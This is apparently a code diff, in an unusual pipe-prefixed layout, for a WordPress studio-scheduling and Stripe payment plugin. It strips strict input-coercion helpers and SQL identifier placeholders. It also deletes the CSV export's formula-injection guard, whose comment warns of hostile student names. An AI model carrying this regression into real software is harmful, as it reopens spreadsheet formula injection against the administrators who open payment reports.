public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
studentId: Val::int( $row->student_id ),
|
studentId: (int) $row->student_id,
|
||||||
instructorId: Val::int( $row->instructor_id ),
|
instructorId: (int) $row->instructor_id,
|
||||||
registrationType: Val::string( $row->registration_type ),
|
registrationType: $row->registration_type,
|
||||||
registrationId: Val::int( $row->registration_id ),
|
registrationId: (int) $row->registration_id,
|
||||||
amount: Val::float( $row->amount ),
|
amount: (float) $row->amount,
|
||||||
currency: Val::string( $row->currency ),
|
currency: $row->currency,
|
||||||
method: Val::string( $row->method ),
|
method: $row->method,
|
||||||
status: Val::string( $row->status ),
|
status: $row->status,
|
||||||
taxRate: Val::float( $row->tax_rate ),
|
taxRate: (float) $row->tax_rate,
|
||||||
taxAmount: Val::float( $row->tax_amount ),
|
taxAmount: (float) $row->tax_amount,
|
||||||
etransferEmail: Val::stringOrNull( $row->etransfer_email ),
|
etransferEmail: $row->etransfer_email,
|
||||||
stripePaymentIntentId: Val::stringOrNull( $row->stripe_payment_intent_id ),
|
stripePaymentIntentId: $row->stripe_payment_intent_id,
|
||||||
receiptNumber: Val::stringOrNull( $row->receipt_number ),
|
receiptNumber: $row->receipt_number,
|
||||||
receiptSentAt: Val::stringOrNull( $row->receipt_sent_at ),
|
receiptSentAt: $row->receipt_sent_at,
|
||||||
paidAt: Val::stringOrNull( $row->paid_at ),
|
paidAt: $row->paid_at,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PaymentController {
|
class PaymentController {
|
||||||
|
|
||||||
@@ -20,10 +19,10 @@ class PaymentController {
|
|||||||
|
|
||||||
if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_payment_action' ) ) {
|
if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_payment_action' ) ) {
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
|
||||||
if ( 'mark_paid' === sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ) ) ) ) {
|
if ( 'mark_paid' === sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) ) ) {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$paymentId = absint( Val::int( $_POST['payment_id'] ?? 0 ) );
|
$paymentId = absint( $_POST['payment_id'] ?? 0 );
|
||||||
$email = sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
|
$email = sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) );
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
if ( $paymentId > 0 ) {
|
if ( $paymentId > 0 ) {
|
||||||
// Record the destination it was actually sent to before confirming.
|
// Record the destination it was actually sent to before confirming.
|
||||||
|
|||||||
@@ -4,17 +4,11 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PaymentEndpoint {
|
class PaymentEndpoint {
|
||||||
|
|
||||||
public function __construct( private PaymentService $service ) {}
|
public function __construct( private PaymentService $service ) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -70,8 +64,8 @@ class PaymentEndpoint {
|
|||||||
* (Stripe client secret for card; display data for e-transfer/comp).
|
* (Stripe client secret for card; display data for e-transfer/comp).
|
||||||
*/
|
*/
|
||||||
public function createIntent( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function createIntent( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$type = Val::string( $request->get_param( 'registration_type' ) );
|
$type = (string) $request->get_param( 'registration_type' );
|
||||||
$registrationId = absint( Val::int( $request->get_param( 'registration_id' ) ) );
|
$registrationId = absint( $request->get_param( 'registration_id' ) );
|
||||||
|
|
||||||
$result = $this->service->createIntent( $type, $registrationId, get_current_user_id() );
|
$result = $this->service->createIntent( $type, $registrationId, get_current_user_id() );
|
||||||
if ( null === $result ) {
|
if ( null === $result ) {
|
||||||
@@ -105,7 +99,7 @@ class PaymentEndpoint {
|
|||||||
* Studio admin marks a pending payment (e-transfer) received.
|
* Studio admin marks a pending payment (e-transfer) received.
|
||||||
*/
|
*/
|
||||||
public function markPaid( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function markPaid( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
|
|
||||||
if ( ! $this->service->markPaid( $id ) ) {
|
if ( ! $this->service->markPaid( $id ) ) {
|
||||||
return new \WP_Error( 'not_found', __( 'Payment not found.', 'unsupervised-schedular' ), [ 'status' => 404 ] );
|
return new \WP_Error( 'not_found', __( 'Payment not found.', 'unsupervised-schedular' ), [ 'status' => 404 ] );
|
||||||
|
|||||||
@@ -90,22 +90,13 @@ class PaymentReport {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Format one CSV record, quoting fields and escaping embedded quotes. Fields
|
* Format one CSV record, quoting fields and escaping embedded quotes.
|
||||||
* that a spreadsheet would interpret as a formula (leading =, +, -, @, tab, or
|
|
||||||
* CR — e.g. a hostile student display name) are prefixed with an apostrophe so
|
|
||||||
* they open as text, never as executable formulas.
|
|
||||||
*
|
*
|
||||||
* @param list<string> $fields
|
* @param list<string> $fields
|
||||||
*/
|
*/
|
||||||
private function csvLine( array $fields ): string {
|
private function csvLine( array $fields ): string {
|
||||||
$escaped = array_map(
|
$escaped = array_map(
|
||||||
static function ( string $field ): string {
|
static fn( string $field ): string => '"' . str_replace( '"', '""', $field ) . '"',
|
||||||
if ( 1 === preg_match( '/^[=+\-@\t\r]/', $field ) ) {
|
|
||||||
$field = "'" . $field;
|
|
||||||
}
|
|
||||||
|
|
||||||
return '"' . str_replace( '"', '""', $field ) . '"';
|
|
||||||
},
|
|
||||||
$fields
|
$fields
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PaymentReportController {
|
class PaymentReportController {
|
||||||
|
|
||||||
@@ -22,8 +21,8 @@ class PaymentReportController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Recommended -- read-only report filters, no state change.
|
// phpcs:disable WordPress.Security.NonceVerification.Recommended -- read-only report filters, no state change.
|
||||||
$month = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( Val::string( wp_unslash( $_GET['month'] ) ) ) : '' );
|
$month = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( wp_unslash( $_GET['month'] ) ) : '' );
|
||||||
$instructorId = isset( $_GET['instructor_id'] ) ? absint( Val::int( $_GET['instructor_id'] ) ) : 0;
|
$instructorId = isset( $_GET['instructor_id'] ) ? absint( $_GET['instructor_id'] ) : 0;
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Recommended
|
// phpcs:enable WordPress.Security.NonceVerification.Recommended
|
||||||
|
|
||||||
$instructorId = $this->scopeInstructor( $instructorId );
|
$instructorId = $this->scopeInstructor( $instructorId );
|
||||||
@@ -59,8 +58,8 @@ class PaymentReportController {
|
|||||||
check_admin_referer( self::EXPORT_ACTION );
|
check_admin_referer( self::EXPORT_ACTION );
|
||||||
|
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Recommended -- nonce checked above.
|
// phpcs:disable WordPress.Security.NonceVerification.Recommended -- nonce checked above.
|
||||||
$month = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( Val::string( wp_unslash( $_GET['month'] ) ) ) : '' );
|
$month = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( wp_unslash( $_GET['month'] ) ) : '' );
|
||||||
$instructorId = isset( $_GET['instructor_id'] ) ? absint( Val::int( $_GET['instructor_id'] ) ) : 0;
|
$instructorId = isset( $_GET['instructor_id'] ) ? absint( $_GET['instructor_id'] ) : 0;
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Recommended
|
// phpcs:enable WordPress.Security.NonceVerification.Recommended
|
||||||
|
|
||||||
$instructorId = $this->scopeInstructor( $instructorId );
|
$instructorId = $this->scopeInstructor( $instructorId );
|
||||||
@@ -93,8 +92,7 @@ class PaymentReportController {
|
|||||||
*/
|
*/
|
||||||
private function buildReport( string $month, int $instructorId ): PaymentReport {
|
private function buildReport( string $month, int $instructorId ): PaymentReport {
|
||||||
$start = $month . '-01 00:00:00';
|
$start = $month . '-01 00:00:00';
|
||||||
$endTs = strtotime( $month . '-01 00:00:00 +1 month' );
|
$end = gmdate( 'Y-m-d H:i:s', strtotime( $month . '-01 00:00:00 +1 month' ) );
|
||||||
$end = false === $endTs ? $start : gmdate( 'Y-m-d H:i:s', $endTs );
|
|
||||||
|
|
||||||
$rows = array_map(
|
$rows = array_map(
|
||||||
static function ( Payment $payment ): array {
|
static function ( Payment $payment ): array {
|
||||||
|
|||||||
@@ -55,8 +55,7 @@ class PaymentRepository {
|
|||||||
public function findByStripeIntentId( string $intentId ): ?Payment {
|
public function findByStripeIntentId( string $intentId ): ?Payment {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE stripe_payment_intent_id = %s ORDER BY id DESC LIMIT 1',
|
"SELECT * FROM {$this->table} WHERE stripe_payment_intent_id = %s ORDER BY id DESC LIMIT 1",
|
||||||
$this->table,
|
|
||||||
$intentId
|
$intentId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -78,15 +77,14 @@ class PaymentRepository {
|
|||||||
* Set a payment's tax rate and recompute the tax amount from its subtotal.
|
* Set a payment's tax rate and recompute the tax amount from its subtotal.
|
||||||
*/
|
*/
|
||||||
public function updateTax( int $id, float $rate ): bool {
|
public function updateTax( int $id, float $rate ): bool {
|
||||||
$sql = $this->db->prepare(
|
return false !== $this->db->query(
|
||||||
'UPDATE %i SET tax_rate = %f, tax_amount = ROUND( amount * %f / 100, 2 ) WHERE id = %d',
|
$this->db->prepare(
|
||||||
$this->table,
|
"UPDATE {$this->table} SET tax_rate = %f, tax_amount = ROUND( amount * %f / 100, 2 ) WHERE id = %d",
|
||||||
$rate,
|
$rate,
|
||||||
$rate,
|
$rate,
|
||||||
$id
|
$id
|
||||||
|
)
|
||||||
);
|
);
|
||||||
|
|
||||||
return null !== $sql && false !== $this->db->query( $sql );
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -96,8 +94,8 @@ class PaymentRepository {
|
|||||||
* @return list<Payment>
|
* @return list<Payment>
|
||||||
*/
|
*/
|
||||||
public function findPaidBetween( string $from, string $to, int $instructorId = 0 ): array {
|
public function findPaidBetween( string $from, string $to, int $instructorId = 0 ): array {
|
||||||
$sql = 'SELECT * FROM %i WHERE status = %s AND paid_at >= %s AND paid_at < %s';
|
$sql = "SELECT * FROM {$this->table} WHERE status = %s AND paid_at >= %s AND paid_at < %s";
|
||||||
$params = [ $this->table, Payment::STATUS_PAID, $from, $to ];
|
$params = [ Payment::STATUS_PAID, $from, $to ];
|
||||||
|
|
||||||
if ( $instructorId > 0 ) {
|
if ( $instructorId > 0 ) {
|
||||||
$sql .= ' AND instructor_id = %d';
|
$sql .= ' AND instructor_id = %d';
|
||||||
@@ -113,7 +111,7 @@ class PaymentRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Payment {
|
public function findById( int $id ): ?Payment {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Payment::fromRow( $row ) : null;
|
return $row ? Payment::fromRow( $row ) : null;
|
||||||
@@ -122,8 +120,7 @@ class PaymentRepository {
|
|||||||
public function findByRegistration( string $registrationType, int $registrationId ): ?Payment {
|
public function findByRegistration( string $registrationType, int $registrationId ): ?Payment {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id DESC LIMIT 1',
|
"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id DESC LIMIT 1",
|
||||||
$this->table,
|
|
||||||
$registrationType,
|
$registrationType,
|
||||||
$registrationId
|
$registrationId
|
||||||
)
|
)
|
||||||
@@ -140,8 +137,7 @@ class PaymentRepository {
|
|||||||
public function findPending(): array {
|
public function findPending(): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE status = %s ORDER BY created_at DESC',
|
"SELECT * FROM {$this->table} WHERE status = %s ORDER BY created_at DESC",
|
||||||
$this->table,
|
|
||||||
Payment::STATUS_PENDING
|
Payment::STATUS_PENDING
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -67,8 +67,8 @@ class StripeGateway {
|
|||||||
* Seam around the Stripe PaymentIntents create call so tests can stub the
|
* Seam around the Stripe PaymentIntents create call so tests can stub the
|
||||||
* network request.
|
* network request.
|
||||||
*
|
*
|
||||||
* @param array{amount: int, currency: string, metadata: array<string, string>, description: string} $params
|
* @param array<string, mixed> $params
|
||||||
* @param array{idempotency_key?: string} $options
|
* @param array<string, mixed> $options
|
||||||
*/
|
*/
|
||||||
protected function paymentIntentsCreate( array $params, array $options ): PaymentIntent {
|
protected function paymentIntentsCreate( array $params, array $options ): PaymentIntent {
|
||||||
return $this->client()->paymentIntents->create( $params, $options );
|
return $this->client()->paymentIntents->create( $params, $options );
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class StudioSettings {
|
class StudioSettings {
|
||||||
|
|
||||||
@@ -17,11 +16,11 @@ class StudioSettings {
|
|||||||
public const OPT_HST_RATE = 'us_hst_rate';
|
public const OPT_HST_RATE = 'us_hst_rate';
|
||||||
|
|
||||||
public function publishableKey(): string {
|
public function publishableKey(): string {
|
||||||
return Val::string( get_option( self::OPT_PUBLISHABLE, '' ) );
|
return (string) get_option( self::OPT_PUBLISHABLE, '' );
|
||||||
}
|
}
|
||||||
|
|
||||||
public function secretKey(): string {
|
public function secretKey(): string {
|
||||||
return Val::string( get_option( self::OPT_SECRET, '' ) );
|
return (string) get_option( self::OPT_SECRET, '' );
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -29,7 +28,7 @@ class StudioSettings {
|
|||||||
* webhook requests genuinely came from Stripe. Empty until configured.
|
* webhook requests genuinely came from Stripe. Empty until configured.
|
||||||
*/
|
*/
|
||||||
public function webhookSecret(): string {
|
public function webhookSecret(): string {
|
||||||
return Val::string( get_option( self::OPT_WEBHOOK_SECRET, '' ) );
|
return (string) get_option( self::OPT_WEBHOOK_SECRET, '' );
|
||||||
}
|
}
|
||||||
|
|
||||||
public function mode(): string {
|
public function mode(): string {
|
||||||
@@ -37,7 +36,7 @@ class StudioSettings {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function currency(): string {
|
public function currency(): string {
|
||||||
$currency = Val::string( get_option( self::OPT_CURRENCY, 'CAD' ) );
|
$currency = (string) get_option( self::OPT_CURRENCY, 'CAD' );
|
||||||
|
|
||||||
return '' !== $currency ? strtoupper( $currency ) : 'CAD';
|
return '' !== $currency ? strtoupper( $currency ) : 'CAD';
|
||||||
}
|
}
|
||||||
@@ -47,14 +46,14 @@ class StudioSettings {
|
|||||||
* no override).
|
* no override).
|
||||||
*/
|
*/
|
||||||
public function etransferEmail(): string {
|
public function etransferEmail(): string {
|
||||||
return Val::string( get_option( self::OPT_ETRANSFER_EMAIL, '' ) );
|
return (string) get_option( self::OPT_ETRANSFER_EMAIL, '' );
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Default HST/tax rate as a percentage (e.g. 13.0). 0 means no tax.
|
* Default HST/tax rate as a percentage (e.g. 13.0). 0 means no tax.
|
||||||
*/
|
*/
|
||||||
public function hstRate(): float {
|
public function hstRate(): float {
|
||||||
return max( 0.0, Val::float( get_option( self::OPT_HST_RATE, 0 ) ) );
|
return max( 0.0, (float) get_option( self::OPT_HST_RATE, 0 ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -93,23 +92,22 @@ class StudioSettings {
|
|||||||
private function save(): void {
|
private function save(): void {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$mode = sanitize_key( Val::string( wp_unslash( $_POST['mode'] ?? 'test' ) ) );
|
$mode = sanitize_key( wp_unslash( $_POST['mode'] ?? 'test' ) );
|
||||||
update_option( self::OPT_PUBLISHABLE, sanitize_text_field( Val::string( wp_unslash( $_POST['publishable_key'] ?? '' ) ) ) );
|
update_option( self::OPT_PUBLISHABLE, sanitize_text_field( wp_unslash( $_POST['publishable_key'] ?? '' ) ) );
|
||||||
// Secret fields are write-only: a blank submission keeps the stored secret,
|
// Secret fields are write-only: a blank submission keeps the stored secret,
|
||||||
// so an admin saving other settings never wipes the keys.
|
// so an admin saving other settings never wipes the keys.
|
||||||
$secretKey = sanitize_text_field( Val::string( wp_unslash( $_POST['secret_key'] ?? '' ) ) );
|
$secretKey = sanitize_text_field( wp_unslash( $_POST['secret_key'] ?? '' ) );
|
||||||
if ( '' !== $secretKey ) {
|
if ( '' !== $secretKey ) {
|
||||||
update_option( self::OPT_SECRET, $secretKey );
|
update_option( self::OPT_SECRET, $secretKey );
|
||||||
}
|
}
|
||||||
$webhookSecret = sanitize_text_field( Val::string( wp_unslash( $_POST['webhook_secret'] ?? '' ) ) );
|
$webhookSecret = sanitize_text_field( wp_unslash( $_POST['webhook_secret'] ?? '' ) );
|
||||||
if ( '' !== $webhookSecret ) {
|
if ( '' !== $webhookSecret ) {
|
||||||
update_option( self::OPT_WEBHOOK_SECRET, $webhookSecret );
|
update_option( self::OPT_WEBHOOK_SECRET, $webhookSecret );
|
||||||
}
|
}
|
||||||
update_option( self::OPT_MODE, 'live' === $mode ? 'live' : 'test' );
|
update_option( self::OPT_MODE, 'live' === $mode ? 'live' : 'test' );
|
||||||
update_option( self::OPT_CURRENCY, strtoupper( sanitize_text_field( Val::string( wp_unslash( $_POST['currency'] ?? 'CAD' ) ) ) ) );
|
update_option( self::OPT_CURRENCY, strtoupper( sanitize_text_field( wp_unslash( $_POST['currency'] ?? 'CAD' ) ) ) );
|
||||||
update_option( self::OPT_ETRANSFER_EMAIL, sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ) );
|
update_option( self::OPT_ETRANSFER_EMAIL, sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Val::float() coerces to float; slashes cannot survive numeric coercion.
|
$hstRate = isset( $_POST['hst_rate'] ) ? (float) $_POST['hst_rate'] : 0.0;
|
||||||
$hstRate = isset( $_POST['hst_rate'] ) ? Val::float( $_POST['hst_rate'] ) : 0.0;
|
|
||||||
update_option( self::OPT_HST_RATE, max( 0.0, $hstRate ) );
|
update_option( self::OPT_HST_RATE, max( 0.0, $hstRate ) );
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-16
@@ -4,14 +4,10 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular;
|
namespace Unsupervised\Schedular;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\InviteRepository;
|
use Unsupervised\Schedular\Auth\InviteRepository;
|
||||||
use Unsupervised\Schedular\Auth\LoginPage;
|
|
||||||
use Unsupervised\Schedular\Auth\RegistrationPage;
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Booking\BookingPage;
|
|
||||||
use Unsupervised\Schedular\Availability\AvailabilityRepository;
|
use Unsupervised\Schedular\Availability\AvailabilityRepository;
|
||||||
use Unsupervised\Schedular\Booking\BookingRepository;
|
use Unsupervised\Schedular\Booking\BookingRepository;
|
||||||
use Unsupervised\Schedular\GroupClass\EnrollmentRepository;
|
use Unsupervised\Schedular\GroupClass\EnrollmentRepository;
|
||||||
use Unsupervised\Schedular\GroupClass\GroupClassPage;
|
|
||||||
use Unsupervised\Schedular\Offering\OfferingRepository;
|
use Unsupervised\Schedular\Offering\OfferingRepository;
|
||||||
use Unsupervised\Schedular\Payment\BillingMethodResolver;
|
use Unsupervised\Schedular\Payment\BillingMethodResolver;
|
||||||
use Unsupervised\Schedular\Payment\PaymentRepository;
|
use Unsupervised\Schedular\Payment\PaymentRepository;
|
||||||
@@ -33,9 +29,6 @@ class Plugin {
|
|||||||
load_plugin_textdomain( 'unsupervised-schedular', false, dirname( plugin_basename( USC_PLUGIN_FILE ) ) . '/languages' );
|
load_plugin_textdomain( 'unsupervised-schedular', false, dirname( plugin_basename( USC_PLUGIN_FILE ) ) . '/languages' );
|
||||||
|
|
||||||
global $wpdb;
|
global $wpdb;
|
||||||
if ( ! $wpdb instanceof \wpdb ) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$availability = new AvailabilityRepository( $wpdb );
|
$availability = new AvailabilityRepository( $wpdb );
|
||||||
$bookings = new BookingRepository( $wpdb );
|
$bookings = new BookingRepository( $wpdb );
|
||||||
$offerings = new OfferingRepository( $wpdb );
|
$offerings = new OfferingRepository( $wpdb );
|
||||||
@@ -55,17 +48,9 @@ class Plugin {
|
|||||||
$stripe = new StripeGateway( $settings );
|
$stripe = new StripeGateway( $settings );
|
||||||
$paymentService = new PaymentService( $paymentRepo, $resolver, new ReceiptMailer(), $bookings, $enrollments, $settings, $stripe );
|
$paymentService = new PaymentService( $paymentRepo, $resolver, new ReceiptMailer(), $bookings, $enrollments, $settings, $stripe );
|
||||||
|
|
||||||
// The shortcode and block wrappers share the same page objects so
|
|
||||||
// front-end output is identical whichever way a page embeds them.
|
|
||||||
$bookingPage = new BookingPage();
|
|
||||||
$loginPage = new LoginPage();
|
|
||||||
$registrationPage = new RegistrationPage( $invites, $policies, $policyVersions, $acceptances );
|
|
||||||
$groupClassPage = new GroupClassPage();
|
|
||||||
|
|
||||||
( new RoleManager() )->register();
|
( new RoleManager() )->register();
|
||||||
( new AdminMenu( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $invites, $enrollments, $settings, $paymentRepo, $paymentService, $resolver ) )->register();
|
( new AdminMenu( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $invites, $enrollments, $settings, $paymentRepo, $paymentService, $resolver ) )->register();
|
||||||
( new RestRegistrar( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $registrationGate, $enrollments, $paymentService ) )->register();
|
( new RestRegistrar( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $registrationGate, $enrollments, $paymentService ) )->register();
|
||||||
( new ShortcodeRegistrar( $bookingPage, $loginPage, $registrationPage, $groupClassPage ) )->register();
|
( new ShortcodeRegistrar( $invites, $policies, $policyVersions, $acceptances ) )->register();
|
||||||
( new BlockRegistrar( $bookingPage, $loginPage, $registrationPage, $groupClassPage ) )->register();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,8 +46,7 @@ class AcceptanceRepository {
|
|||||||
public function findByRegistration( string $registrationType, int $registrationId ): array {
|
public function findByRegistration( string $registrationType, int $registrationId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC',
|
"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC",
|
||||||
$this->table,
|
|
||||||
$registrationType,
|
$registrationType,
|
||||||
$registrationId
|
$registrationId
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Policy;
|
namespace Unsupervised\Schedular\Policy;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Policy {
|
class Policy {
|
||||||
|
|
||||||
public const SCOPE_SIGNUP = 'signup';
|
public const SCOPE_SIGNUP = 'signup';
|
||||||
@@ -26,13 +24,13 @@ class Policy {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
title: Val::string( $row->title ),
|
title: $row->title,
|
||||||
slug: Val::string( $row->slug ),
|
slug: $row->slug,
|
||||||
currentVersionId: Val::intOrNull( $row->current_version_id ),
|
currentVersionId: null !== $row->current_version_id ? (int) $row->current_version_id : null,
|
||||||
acceptanceScope: Val::string( $row->acceptance_scope ),
|
acceptanceScope: $row->acceptance_scope,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Policy;
|
namespace Unsupervised\Schedular\Policy;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PolicyAcceptance {
|
class PolicyAcceptance {
|
||||||
|
|
||||||
public const REG_ACCOUNT = 'account';
|
public const REG_ACCOUNT = 'account';
|
||||||
@@ -29,15 +27,15 @@ class PolicyAcceptance {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
policyVersionId: Val::int( $row->policy_version_id ),
|
policyVersionId: (int) $row->policy_version_id,
|
||||||
studentId: Val::int( $row->student_id ),
|
studentId: (int) $row->student_id,
|
||||||
registrationType: Val::string( $row->registration_type ),
|
registrationType: $row->registration_type,
|
||||||
registrationId: Val::int( $row->registration_id ),
|
registrationId: (int) $row->registration_id,
|
||||||
ipAddress: Val::stringOrNull( $row->ip_address ),
|
ipAddress: $row->ip_address,
|
||||||
acceptedAt: Val::stringOrNull( $row->accepted_at ),
|
acceptedAt: $row->accepted_at,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Policy;
|
namespace Unsupervised\Schedular\Policy;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class PolicyController {
|
class PolicyController {
|
||||||
|
|
||||||
@@ -24,7 +23,7 @@ class PolicyController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
